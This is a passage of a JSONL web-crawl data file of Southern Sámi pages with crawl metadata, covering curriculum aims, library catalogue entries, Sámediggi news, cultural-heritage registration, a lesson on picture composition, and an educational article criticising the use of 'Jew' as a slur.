dïrregigujmie jïh bielelen digitaale dïrregh\n- koordinaath nuhtjedh juktie guvviem vuesiehtidh figuvrijste, jïh jïjtsevoeth goerehtidh geometrihkeles hammojne, digitaale dïrregigujmie jïh bielelen digitaale dïrregh\n- goerehtidh, eksperimenteradidh jïh hammoedidh logiske ussjedimmieh viehkine geometrihkeles åssjelijstie, jïh geometrihkeles tsiehkieh buerkiestidh mah leah joekoen vihkeles teknologijesne, kåanstesne jïh arkitektuvresne\nMöölehtimmieMål for opplæringen er at eleven skal kunne\n- aarvehtsem darjodh jïh gåhkoem, bïjrem, skaavhtegem, arealem, bijjieskieriem, tïjjem, drïektem jïh veahkan laaktevoetem aerviedidh, jïh möölegeståahkem nuhtjedh jïh jarkelidh\n- sjiehteles möölegeektievoeth veeljedh, ektiedimmieh buerkiestidh jïh ryöknedh ovmessie möölegeektievoeti gaskem, nuhtjedh jïh vuarjasjidh möölehtimmiedïrregh jïh möölehtimmievuekieh praktihkeles möölehtimmesne, jïh presisjovnem jïh möölehtimmien ovseekerevoetem digkiedidh\n- tjïelkestidh taalem π jïh dam nuhtjedh aerviedimmine bïjreste, arealeste jïh volumeste\nStatistihke, aarvehtse jïh kombinatorihkeMål for opplæringen er at eleven skal kunne\n- goerehtimmieh tjirrehtidh jïh daatabaash nuhtjedh juktie statistiske daatah ohtsedh jïh analyjseradidh, jïh gaaltijelaejhtemem vuesiehtidh\n- daata öörnedidh jïh dåehkine bïejedh, gaavnedh jïh digkiedidh baakojde mediane, såarhtetaale, gaskemedtie jïh jeerehtsegamtoe, daatah åehpiedehtedh, digitaale dïrregigujmie jïh bielelen digitaale dïrregh, jïh digkiedidh ovmessie daatabuektemh jïh maam vuajnojde dah maehtieh vedtedh\n- gaavnedh jïh digkiedidh aarvehtsem eksperimenteradimmien, simuleringen jïh aerviedimmien tjïrrh aarkebiejjien ektiedimmine jïh spïeline\n- illedahkenuepiem buerkiestidh jïh aarvehtsem jiehtedh goh brööke, prosente jïh desimaaletaale\n- aelhkie kombinatorihkeles dåeriesmoerh digkiedidh jïh dejtie loetedh\nFunksjovnhMål for opplæringen er at eleven skal kunne\n- funksjovnh darjodh mah numeriske ektiedimmieh jïh praktihkeles tsiehkieh buerkiestieh, digitaale dïrregigujmie jïh bielelen, dejtie buerkiestidh jïh toelhkestidh jïh ovmessie funksjovnerepresentasjovni gaskem jeatjahtehtedh, goh graafh, tabellh, formelh jïh tjaalegh\n- damtijidh jïh nuhtedh jïjtsevoetide proporsjovnaale, båastode proporsjovnaale, lineæære jïh kvadratiske funksjovnide, jïh vuesiehtimmieh vedtedh praktihkeles tsiehkide mejtie maahta daej funksjovnigujmie buerkiestidh\nSide 9 Av 14","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/kl06\/MAT1-04\/Hele\/Kompetansemaal\/maahtoeulmieh-10.-jaepiedaltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2023-12-06T17:44:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100602.36\/warc\/CC-MAIN-20231206162528-20231206192528-00807.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":514,"character_repetition_ratio":0.078,"word_repetition_ratio":0.004,"special_characters_ratio":0.134,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Utsi, Catarina Blind, Åsa Bertije DAT Vaadtasovvemejaepie 2001 Faage Musihke Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 Giele Noerhtesaemiengïele ISBN DATCD-6 Tïjje 00:32:34 Formaate CD Reakta-aajhtere DAT Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Vuelie Njaalmeldh kultuvre Kultuvre Litteratuvre Musihke Saemiengïele heevehtslitteratuvre Viehkiebaakoe Musihke Maanalaavloeh Laavloeh","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/jietna_suga-suga-su","date":"2023-12-03T23:36:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100518.73\/warc\/CC-MAIN-20231203225036-20231204015036-00839.warc.gz","language":"sma","language_score":0.9978284836,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.997828483581543}","num_words":44,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Aikio, Samuli Bertije Girjegiisá Oy Vaadtasovvemejaepie 1992 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele ISBN 951893908x Formaate Sïejhme gærja Reakta-aajhtere Girjegiisá Oy Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 250 Aamhtesh Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Histovrije dovletjistie Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/node\/8600?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-02-24T10:17:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00328.warc.gz","language":"sma","language_score":0.9982465506,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9982465505599976}","num_words":52,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2018\nFormaate\nApp\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nStoeredahke\n65 - 351 MB\nAamhtesh\nViehkiebaakoe\nDaate lea interaktijve jïh pedagogihks heamturebodte mesnie guvvieh, animasjovnh jïh spïelh.\nVeartesjh jïh soptsesem goltelh Miijan bïjre gie hïegkine bïesi maaje garsese sååjhti ïskeres njuvvien mietie.\nDaate vaajese dan bïjre guktie Nieidagorži (Nïejtegarse) nommem åadtjoeji. Soptsese vuesehte luhpie gujht meadtodh jïh aanteges vedtedh lea dovresommes mij gååvnese.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_nieidagorzi-pikefossen","date":"2024-02-22T14:08:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473819.62\/warc\/CC-MAIN-20240222125841-20240222155841-00204.warc.gz","language":"sma","language_score":0.9999972582,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999972581863403}","num_words":61,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem faagesne nöörjen learoehkidie saemiengïeline voestesgïeline Jåa1 studijeryöjreden ööhpehtimmieprogrammesne vuesiehtieh jïh evtiedieh gosse teeksth analyseerieh, toelhkestieh jïh viertiestieh jïh teeksti konteeksth goerehtieh. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse faagegïelem ovmessie njaalmeldh jïh tjaaleldh gaskesadtemetsiehkine nuhtjieh. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse åenebe jïh guhkebe teeksth darjoeh ovmessie sjangerinie, ovmessie ulmide jïh dåastoejidie, jïh vihkeles gïeleldh hammoekrïevenassh haalvoeh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine learohkh åadtjoeh kreatijvelaakan jïh kraanskoje barkedh faageles dåeriesmoerigujmie Lohkehtæjja edtja sjïehteladtedh guktie learohkh gïeleldh jïh tjaaleldh maahtoem evtiedieh gosse nuepiem åadtjoeh jïjtsh teeksth guhkiebasse evtiedidh faageles kriteriji jïh daajroen mietie gïelen jïh teeksten bïjre. Lohkehtæjja jïh learohkh edtjieh dialogesne årrodh evtiedimmien bïjre maam learohkh vuesiehtieh faagesne nöörjen learoehkidie saemiengïeline voestesgïeline. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoem mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh jïjtsh faageles evtiedimmien bijjeli ussjedadtedh. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh jïjtsh njaalmeldh jïh tjaaleldh teeksth bueriedidh jïh guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/nor03-04\/kompetansemaal-og-vurdering\/kv143?lang=sma","date":"2024-02-23T00:23:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473871.23\/warc\/CC-MAIN-20240222225655-20240223015655-00552.warc.gz","language":"sma","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000091791152954}","num_words":182,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juvdelassje goh måelliebaakoe\nÅtnoe juvdelassjeste goh måelliebaakoe lea vïedteldihkie don guhkies aerpievuakan Europesne antisemittismine.\nLearohki gaskem noereskuvlesne Oslosne akte bielie lea govleme baakoe juvdelassje lea negatijvelaakan åtnasovveme, akten goerehtallemen mietie maam Oslon tjïelte tjïrrehti 2011. Maahta guarkedh åtnoe baakoste jeerehte skuvleste skuvlese; dej skuvli gaskem mah leah Dembram tjïrrehtamme, lea naan skuvlh gusnie learohkh jallan neebnieh juvdelassje goh måelliebaakoe, mearan baakoe jeatjah skuvline seamma gellie aejkieh goh håvra jïh homo jeahtasåvva.\nNöörjen skuvlesne joekoen vaenie juvdelassjh, jïh baakoe amma måelliebaakojne åtnasåvva aaj gusnie ij naan juvdeles learohkh. Seamma tïjjen goerehtalleme Osloste vuesehte juvdeles learohkh leah prååsehke skuvlesne – 12 ållesth dejstie 36 learoehkijstie mah lin meatan goerehtimmesne jeehtin dah lin negatijve dååjresh åtneme sijjen religijovnen gaavhtan. Aaj gosse juvdelassje måelliebaakojne åtnasåvva maahta sååjrehke årrodh juvdelassjide, aaj gosse baakoe ij leah juvdeles learoehkasse. Baakoe juvdelassje lea uvtemes akte nööjtraale nomme akten almetjasse mij vihties dåehkieektiedimmiem åtna. Dan gaavhtan dåeriesmoerine sjædta gosse måelliebaakojne åtnasåvva.\nÅtnoe juvdelassjeste goh måelliebaakoe lea vïedteldihkie don guhkies aerpievuakan Europesne antisemittismine, jïh maaje klassiske antisemittiske åssjaldahkide vuesehte goh haeniesvoete. Lohkh vielie daesnie antisemittismen bïjre aarebi jïh daelie.\nAerpievuekien åelkiesekstremismesne (joekoen nazisme) «juvdelasse» symbovline orreme «don dekadente, jalletje jïh kosmopolitihkeles tsööpkeme nasjonaale kultuvreste jïh nasjonaale aarvojste». Militaante islamismesne «juvdelassje» lea maaje synonyme «jalletje, amerikanen jïh israelen imperialismine jïh deadtalgimmie muslijmijste. Gærjesne Islamisten (2009) dïhte aarebi englaanten islamiste Ed Husain tjaala: «Mijjieh limh seekere akte juvdeles-homofijle konspirasjovne lij juhtieminie mij edtji mijjen barkoem giehpiedidh». Lissine «juvdelassje» aktem plearoeh symbovlefunksjovnem gårroehekstremismen sisnjelen åtneme, goh «jïjtjereerije turbokapitalisme, plutokratije jïh jalletje\/amerikanen jïh israelen imperialisme».","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/juvdelassje-goh-maelliebaakoe","date":"2024-02-29T17:45:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474852.83\/warc\/CC-MAIN-20240229170737-20240229200737-00123.warc.gz","language":"sma","language_score":0.999694109,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996941089630127}","num_words":246,"character_repetition_ratio":0.081,"word_repetition_ratio":0.017,"special_characters_ratio":0.138,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ordførers tale (fra kl 13)\nDaan biejjien sïjhtem saemide jiehtedh, lahkoe saemien åålmege biejjine. Ibie maehtieh daan jaepien heevehtimmiem utnedh, menh sïjhtebe saevieginie heevehtidh jïh naan unnebe darjomh dennie programmesne.\nRaarvihke tjïelte sæjhta dam biejjiem tjïeltesne nænnoestidh, guktie saemieh edtjieh damtedh dïhte histovrijeles aarvoe aalkoealmetjinie årrodh.\nJïjnjh læhkoe biejjine, jïh tjoerh biejjiem heevedidh gusnie leah.\nHans Oskar Devik\nRaarvihken tjïelten åvtehke\nSametingspresidentens tale (fra kl 13)\nSamiej Laavlome (nasjonalsang)","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/sorsamisk-forvaltningskommune\/arrangement\/6-februar-2021.12199.aspx","date":"2024-02-23T13:58:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474412.46\/warc\/CC-MAIN-20240223121413-20240223151413-00656.warc.gz","language":"sma","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999935626983643}","num_words":67,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dan prosjekten gaavhtan Saemiedigkie lea bijjieguvviem åådtjeme jïjtsistie vaarjeldihkie saemien gåetiej bijjeli jïh daan biejjien medtie 900 gåetieh registreradamme. Bijjieguvvie lea vihkeles jïh daerpies dïrrege Saemiedigkien barkosne gåetievaarjelimmine.\nGoerehtallemisnie jïh damtijimmesne gåetijste, jienebh gaaltijh leah åtnasovveme, goh Friis etnografiske kaarhte jaepijste 1861 jïh 1890, SEFRAK-registreradimmieh (daaroen: Sekretariatet for registrering av faste kulturminner i Norge), almetjeryöknemh, voenegærjah, voenges histovrije, bievnijh, voenges faagebyjresh jïh ij goh unnemes aajhterh jïjtjh. Gåetiesåarhth jïjnjem jeerehtieh, goh buvrieh, mejstie jeenjemes, årromegåetieh, laanteburriegåetieh, naevstieh, skaehtieh jïh derhviegåetieh. Gåetiej jeerehtsh leah seamma vijries goh gåetiej dajve lea stoerre jïh vijries. Daelie Saemiedigkie edtja registreradimmiebarkoem bæjjese fulkedh aajhterigujmie ektine, mah maehtieh raeriem, bïhkedimmiem jïh dåarjoem ohtsedh. Saemiedigkie aaj dåarjoem dåårje kuvsjese juktie vaarjeldihkie gåetieh dåvvodh.\nAajkoe registreradimmieprosjektine lea aaj orreme aarvoeh gorredidh jïh heerredidh olles vaarjeldihkie saemien gåetieh slaemieh. Saemien gåetievaarjelimmie aaj saemien histovrijem jïh baeliem vuesehte abpe nöörjen Saepmesne, jïh lea sïejhme identiteetevæhta jïh joekoen dejnie dajvine gusnie daaroedehtemeprosesse joekoen tjarke orreme.\nRegistreradimmieprosjekten gaavhtan aaj jienebh aalkeme orresistie ussjedidh dan histovrijes aarvose dehtie gåeteste maam eekieh. Dah daajroem åådtjeme gåetiej kultuvrehistovrijes aarvoen bïjre jïh skraejriem åådtjeme vielie histovrijen bïjre goerehtidh jïh sijjen gåetieh gorredidh.\nSaemiedigkie garmerde dam maam buektiehtamme prosjektesne, jïh ihke meatan orreme dam saemien gåetieaerpiem våajnoes darjodh.\nLohkh aaj: Årringene forteller\nLohkh aaj: Saemien gåetieaerpie jåarhka jieledh","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/vaarjelamme-jih-vaarjelimmievyortegs-gaetieh\/mij-vaarjeldihkie-saemien-gaetie\/damtijimmie-jih-registreradimmie-jijtsistie-vaarjeldihkie-saemien-gaetijste\/","date":"2024-04-22T15:40:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818312.80\/warc\/CC-MAIN-20240422144517-20240422174517-00709.warc.gz","language":"sma","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000005841255188}","num_words":208,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaaltijen vååjnoe\nGaaltije lea tjåanghkoje faamoe mij åarjelsaemien kuvltuvre vååjnoesasse beaja jïh saemien jieliemassem nænnoste.\nGaaltije sæjhta maahtoem åarjelsaemien kultuvren bïjre stueriedidh juktie saemien siebredahkem nænnoestidh jïh juktie goerkesem saemien kultuvre- jïh jieliemasseevtiedæmman stueriedidh. Numhtie sån vaenebe vuestieåssjalommesh, åvtedööpmemh jïh ov-saetnies soptsesh sjidtieh.\nGaaltijen veahkehkh\nKapitaale mij lea mijjen lea maahtoe, dïhte lea almetje-kapitaale, jïh sociale kapitaale, dïhte lea identiteete, relasjovnh jïh ektienimmie. Daam edtjebe aaj hahkesjidh.\nGaaltije aaj sæjhta barkedh iktemieries finanijeeremasse sov darjoemasse jïh ihke stïerkebe jïh nænnoehkåbpoe sjïdtedh.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.gaaltije.se\/sm\/about-gaaltije.html","date":"2013-05-19T18:18:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697917013\/warc\/CC-MAIN-20130516095157-00035-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":81,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.235,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaarjelh eatnemen\nEatnamisnie gaajhkesh maehtieh åajvaguessine domtedh. Vallah dellie tjoerebe eatnemem krøøhkestidh gosse ålkone mïnnebe. Aaj vihkeles jeatjah dajven utnijh krøøhkestidh jïh daejredh maam maahta darjodh, jïh maam ij maehtieh darjodh. Skarvan jïh Roltdalen åålmegemiehtjesne edtja dam biologeles gellielaaketjem ekosystemigujmie, aarth jïh tjierth gorredidh, jïh aaj kultuvremojhtesh jïh ektiedimmiem dej gaskem gorredidh. Gaajhkesh almetjh edtjieh åadtjodh eatnemem dååjredh gosse ålkone eatnamisnie, vaenie teknihken sjïehteladteminie.\nDaelvie. Guvvie: Nord-Trøndelag Turistforening","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/TaVarePa.aspx","date":"2013-05-25T00:35:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705305291\/warc\/CC-MAIN-20130516115505-00099-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":68,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nNyhetSïerredimmie jïh vædtsoesvoete aalkoealmetjenyjseni vööste tjuara nåhkedh\nRaerielïhtsege Silje Karine Muotka sæjhta boelhken njoktjen 10.-14. b. meatan årrodh EN:n nyjsenekommisjovnesne (CSW) New Yorkesne. Gosse stïeresne desnie dle Saemiedigkie sæjhta lissiehtamme gaskenasjovnaale fokusem utnedh vædtsoesvoetese jïh sïerredæmman aalkoealmetje-nyjsenijstie abpe veartenisnie.\n-\nNyhetBoraspiret áitet guohtunealáhusaid\nSámediggi lágida seminára hástalusaid birra mat eanadoallo- ja boazodoalloealáhusas leat boraspiriid ektui 11. ja 12.03.14 Sámedikkis Kárášjogas. –Dálá boraspire politihka áitá guohtunealáhusaid boahtteáiggi, ja dan fertet rievdadit, lohká ráđđela...\n-\nNyhetSámediggi doarju Riddoakšuvnna ekonomalaččat\nMaŋebárgga guovvamánu 25. b. mearridii Sámediggeráđđi doarjut Riddoakšuvnna 70 000 ruvnnuin sin čalmmustahttimii Stuorradikki olggobealde njukčamánu 3. b.\n-\nNyhetVoestesviehkiekuvsjem båatsose dåarjohte\nSaemiedigkie 60 stoerretjuetie kråvnah dåårje Helgeland Samiid Searvise juktie voestesviehkiekuvsjem tjïrrehtidh båatsoealmetjidie jïh mubpide mah vaeresne berkieh jïh fealadieh. - Gosse jienebh ööhpehtimmiem åadtjoeh voestesviehkien jïh HLR:n bïj...\n-\nNyhetOrre digitaale baakoegærja olkese båata\nSaemiedigkie, Divvun jïh Sámi Giellateknoe Tromsøen Universiteetesne orre digitaale baakoegærjam Sátni – báhkoe – baakoe olkese vedtieh. Baakoegærja lea aarebi baakoegærjan aarpere, man nomme lij risten.no.\n-\nNyhetSaemesth munnjien\nDatne naan aejkien onterdamme guktie akte rap:e govloe noerhte-, julev- jallh åarjelsaemien gïelesne?\nSeminaare jïh konferaanse\nMøte\nGærjagåetieSaemiedigkien gærjagåetie lea akte bielie Saemiedigkien reeremistie. Gærjagåetie dam stööremes&nb...\nGærjagåetie","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.saemiedigkie.no\/","date":"2014-03-10T22:38:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011038777\/warc\/CC-MAIN-20140305091718-00071-ip-10-183-142-35.ec2.internal.warc.gz","language":"sma","language_score":0.988734901,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9887349009513855, \"sme_Latn_score\": 0.011158241890370846}","num_words":202,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieDoarju nuorra entreprenevrraid\nSámediggeráđđi juolluda 350 duhát ruvnno nuorra entreprenevrraide, Ungt Entreprenørskap Finnmark AS:ii, bargat ealáhushutkamiin skuvllain sámi suohkaniin Finnmárkkus.\n-\nSaernieFordelingen av årets læremiddeltilskudd er klar\nSametingsrådet har til sammen innvilget tilskudd for 21millioner kroner. – Jeg er veldig fornøyd med at vi har oppnådd en balansert dekningsgrad av læremidler i forhold til prioriteringene, uttaler rådsmedlem Silje Karine Muotka.\n-\nSaernieDåarjoeh prosjektide jïh evtiedimmiebarkose maanagiertine 2015\nÅvteprosjekte juktie åarjelsaemien maanagïertem tseegkedh Röörosne, saemien beapmoe-aerpievuekieh, gïeleevtiedimmie jïh joejke maanagiertesne leah naaken dejstie prosjektijste mah dåarjoem åådtjeme saemiedigkieraereste.\n-\nSaernieTjåenghkies noerhtelaanti learoesoejkesje saemien learoehkidie\nSaemiedigkieraerie Silje Karine Muotka lea kronihkem tjaaleme tjåenghkies noerhtelaanti learoesoejkesji bïjre.\n-\nSaernieBööredimmie lahtestimmiejgujmie båetedh\nBïevnesen ulmie lea Saemiedigkien båatsoepolitihkem tjïelkestidh, jïh Saemiedigkiem nænnoestehtedh dovne goh akte vihkeles politihkeles aktööre jïh akte vihkeles evtiedimmieaktööre.Soejkesjen mietie edtja bïevnesem buektedh Saemiedigkien gïetedæm...\n-\nSaernieGulaskuddan – Vuođđolága § 108 rievdadeapmi ja Vuođđoláhka sámegillii\nProfessor Carsten Smith lea Sámedikki presideantta jearaldaga vuođul ráhkadan smiehttamuša Vuođđolága § 108 rievdadeamis ja Vuođđolága birra sámegillii.\nGulaskuddanáigemearri lea borgemánu 6. b. 2015.\n-\nSaernieSaemiedigkieraerien eejehtalleme 2015\nSaemiedigkieraerien lïhtsegh eejehtellieh boelhken ruffien mïetsken raajan. Vuelielisnie vuajnah gïeh stïeresne fïerhnen tïjjen Saemiedigkien politihkeles ståvrosne.\n-\nSaernieMari Boine tjaelijeööhpehtimmien rïhpestæmman båata\nSaemiedigkien, Saemien tjaelijesiebrien jïh Saemien tjiehpiedæjjasiebrien tjåenghkies prosjekte sov voestes studentetjåanghkoem åtna 26. - 28.06 Altesne. Dïhte åehpies naestie Mari Boine edtja rïhpestimmesne årrodh jïh konsertem hööltie tjaelijest...\n-\nSaernieDåarjoeh saemien kultuvremojhtesevaarjelæmman\nVuesiehtimmie saemien dåaroehistovrijistie, goerehtalleme saemien kultuvregïejeste bietsine jïh dåvvome buvrijste dejnie golme noerhtemes fylhkine. Saemiedigkieraerie lea 2,7 millijovnh dåårjeme ovmessie kultuvremojhteseprosjektide.\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2015-32","url":"http:\/\/www.saemiedigkie.no\/","date":"2015-07-29T13:27:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-32\/segments\/1438042986444.39\/warc\/CC-MAIN-20150728002306-00060-ip-10-236-191-2.ec2.internal.warc.gz","language":"sma","language_score":0.9983820319,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.998382031917572}","num_words":295,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åvte jïh duekie\nGïengele-vuajnoe\nVihkeles gïengelem sjugniedidh guvvine, guktie dah eah plïehtje vååjnh. Guvviedæjjah maehtieh dam joekehtslaakan darjodh, goh linjah guvvien sïjse darjodh . Linjah maehtieh rïektes jallh ussjedamme årrodh. Vuesiehtimmie-guvvesne guvviedæjja aktem gujnem åvtene bïejeme. Dïhte guvvien sïjse vuajna, jïh guvvie dan åvteste hijven gïengelem åådtje gosse dåeriedibie gåabph altese tjelmieh vuejnieh.\nLissiehtamme gieltegsvoete\nMen guvviedæjja maahta aaj duekiem nuhtjedh juktie lissine gieltegsvoetem sjugniedidh. Mubpene guvvesne göökte almetjh guvviedamme mah ryöktesth gujnen vööste vaerrieh. Mijjieh dåeriedibie gåabph altese tjelmieh vuejnieh, mah dejtie göökte almetjidie vuejnieh sijjeste aktem gåaroes sijjiem.\nGosse dovne åvtem jïh duekiem nuhtebe dellie guvviedæjja maahta vielie bïevnesh guvvien sïjse bïejedh. Guvvie vielie soptseste.\nBaakoeh\nåvte\nforgrunn\nduekie\nbakgrunn\ngïengele-vuajnoe\ndybdevirkning\ngïengele\ndybde\nrïektes\nvirkelige\nussjedamme\ntenkte\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster\n- skrive kreative tekster med bruk av ulike språklige virkemidler\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de 